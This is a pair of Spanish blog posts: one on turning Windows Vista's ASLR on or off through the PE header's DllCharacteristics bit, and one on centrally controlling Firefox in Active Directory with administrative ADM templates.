He tomado como referencia para este post 4 aplicaciones en mi Windows Vista. Internet Explorer, el entorno gráfico del Windows Defender, la barra de herramientas de Google y Adobe reader. Tan sólo Windows Defender e Internet Explorer se ejecutan cada vez en distintos espacios de direcciones. Adobe y la barra de herramientas de Google permanecen en el mismo espacio de direcciones cada vez que se inician.

Como no entendía este comportamiento empecé a informarme sobre el ASLR y de cómo funciona en Windows Vista. Cualquier ejecutable o dll que tenga una cabecera PE puede elegir si quiere o no quiere aprovecharse de esta característica. Y activarlo es bien simple. Basta con añadirle un bit (0X40) en el campo DllCharacteristics en la parte Optional Header.

Y tan fácil es activarlo como fácil es desactivarlo. Bastaría con quitar ese bit (0×40) a cualquier ejecutable que estuviese utilizando la característica ASLR para que éste dejase de utilizarla.

aslr1.png
Ejemplo Windows Defender

Por ejemplo aquí tenéis dos capturas de pantalla correspondientes al proceso de Internet Explorer

iexploreaslr.png
Internet Explorer con ASLR
iexploresinaslr.png

Para el que quiera hacer sus pruebas correspondientes, puede utilizar la herramienta StudPE y algún debugeador. Yo personalmente he utilizado el Windbg de Spectra. Tengo desde hace un mes más o menos el Adobe + la barra de herramientas de Google aprovechándose del ASLR y todavía no se me ha quejado ninguna.

+Info

An Analysis of Address Space Layout Randomization on Windows Vista

Saludos!

 




Controlando Firefox en entornos corporativos

22 09 2007

Hola chic@s!

Tenía ganas de escribir sobre esto, ya que es un tema que en un principio (hace un par de años) me dió mucha guerra en su momento, y es la posibilidad de controlar ciertas aplicaciones en un entorno corporativo, como puede ser Directorio Activo.

Hoy en día estamos ante un hecho irrefutable, y es que nuestros desarrolladores (principalmente), deben convivir en un sistema con varios navegadores, para así poder dar soporte de sus aplicaciones Web.

Siempre he sido reacio a instalar aplicaciones “importantes” en un entorno corporativo y centralizado, si no puedo controlarlas desde mi Directorio Activo, es decir, a través de políticas.

Internet Explorer es altamente configurable a través de políticas. Es tal su nivel de granularidad, que podemos hacer prácticamente todo lo que se nos antoje. Desde cambiar el user-agent, hasta cambiar el tittle. Y todo ello a través de políticas. Las aplicas a una Unidad Organizativa, y se aplican a todos los objetos que ésta contenga. Fácil no?

Con Firefox la cosa cambiaba mucho, ya que no disponía de políticas de grupo para un control de esas características. La gran diferencia entre estos dos navegadores, es que Firefox puede ser una gran herramienta de hacking, mientras que IE no. IE es un navegador corporativo en toda regla, o por lo menos algunos lo vemos así.

Es la gran pregunta que nos hemos hecho muchos administradores al llegar al punto de decidir si algunos usuarios en nuestra empresa deben o pueden convivir con varios navegadores, en especial, los desarrolladores Web.

He visto empresas que tenían usuarios con IE y Firefox, y éste último instalado con decenas de extensiones y configuraciones. A medida que van llegando herramientas de este tipo a nuestra empresa, y sin un control centralizado de ellas, nuestra empresa va perdiendo seguridad. A mayor capacidad de la herramienta (mayores extensiones y configuraciones), mayor es la degradación de la seguridad.

Aquí no se trata de si un navegador es mejor que otro, y este artículo no va por esa línea. Particularmente me encanta IE y me encanta FF. Este artículo va de cómo puedo mantener un cierto grado de seguridad en mi empresa, quitando aspectos de la herramienta que no me interese, sin que para ello se vea afectada la productividad de mis usuarios y/o trabajadores al manejar la herramienta.

Aquí es donde entran en juego las políticas de sistema de Windows y las plantillas administrativas.

Una plantilla administrativa no es más que un archivo de texto que define las propiedades de un componente en una aplicación específica. Se reconocen por tener extensión ADM, y su estructura es parecida a la siguiente:

CLASS (Máquina o usuario)

      CATEGORY (Cagegoría)

             KEYNAME (Clave de registro)

       POLICY

       END POLICY

       END CATEGORY

Si queréis saber más sobre la ubicación de las políticas de grupo en Windows, y su estructura, podéis leer los artículos que os enlazo:

http://support.microsoft.com/kb/228460/es (Ubicación de las plantillas ADM)

http://support.microsoft.com/kb/225087/es (Escribir archivos ADM personalizados)

La página Web FrontMotion ha realizado un estupendo trabajo creando y liberando en su día unas plantillas para que pudiésemos realizar este trabajo e integrar FF en nuestra empresa, aunque hasta hace poco, las plantillas no estaban tan depuradas como hasta ahora.
Para integrar Firefox en nuestro Directorio Activo, tendremos que seguir unos pasos muy sencillos.

Tendremos que descargarnos una versión de FF específica, creada para este fin:

En nuestro caso, y para Firefox en su versión 2.0.0.6, tendremos los siguientes archivos:

Firefox 2.0.0.6 versión Spanish

Plantilla ADM número 1 para Firefox (Válida para configuración de equipo y usuario)

Plantilla ADM número 2 para Firefox (Válida sólo para configuración de equipo)

 Una vez que tengamos estas herramientas, podemos planear una instalación del navegador a través de políticas. Partiendo de la base de que el navegador está instalado en todos los usuarios pertenecientes a mi Unidad Organizativa llamada picateclas, vamos a añadir las plantillas administrativas.
Una buena práctica a la hora de administrar un Directorio Activo, es crear grupos de políticas independientes cada vez que deseemos administrar una parte del sistema operativo o alguna aplicación concreta. Por ejemplo si en un sistema operativo quiero administrar el Firewall de Windows, el Internet Explorer y el Firefox, me crearé una plantilla (para administrarlas a través del editor de políticas gpedit) por cada una de ellas. Con esto evitamos el poder perdernos entre tanta política. Imaginad si algún compañero no viene a trabajar un día determinado, se pone malo, de vacaciones, etc.. En un entorno empresarial grande y con tantas políticas para el equipo y aplicaciones, podríamos perder productividad como administradores. En el ejemplo, y para la unidad organizativa en cuestión, quedaría de esta manera.

A continuación agregaré y linkaré las dos plantillas para administrarlas. Linkaré estas dos plantillas en una configuración de equipo. Recordad que una de las dos plantillas sólo admite la posibilidad de cuenta de equipo.

Una vez agregadas las plantillas, podremos configurar Firefox a nuestro gusto, añadiendo y quitando funciones, para adecuar el funcionamiento de la herramienta a las necesidades de la empresa, manteniendo la funcionalidad y la seguridad.

La configuración que voy a realizar para la unidad organizativa picateclas es la siguiente:

    Configurar una página de inicio
      Desactivar el molesto chequeo del navegador por defecto
      Habilitar un espacio fijo para la caché de navegación
      Establecer un directorio determinado para la ubicación de las descargas
      Desactivar la instalación de nuevos complementos

Una vez configuradas las políticas, desde el editor de políticas de grupo se verán aplicadas de esta manera

Estas plantillas dan la posibilidad de configurar de forma avanzada nuestro navegador Firefox, de tal forma que no se nos escape nada, tal y como configuraríamos Firefox desde la opción about:config.

Una vez establecido las políticas a la unidad organizativa en cuestión, la próxima vez que reinicien el equipo, éste se comportará de esta manera una vez que naveguen a través de Firefox.

La página de inicio se muestra en gris, y no se puede cambiar (o al menos yo no he podido todavía)
El directorio de descargas tampoco se puede cambiar.

Si por el contrario, uno de mis usuarios desea descargarse algún que otro complemento, el navegador responderá de la siguiente manera:

Con esta configuración, obligamos a nuestros empleados a utilizar formularios internos si desean algún tipo de configuración en el navegador, impidiendo así la instalación no deseada de software en el navegador.

Recordad que si la aplicación lo permite, podemos crearnos nuestras propias plantillas administrativas. Gracias a ello podremos administrar nuestras aplicaciones desde Directorio Activo, centralizando el trabajo y manteniendo la seguridad. Son todo beneficios!

Saludos a tod@s!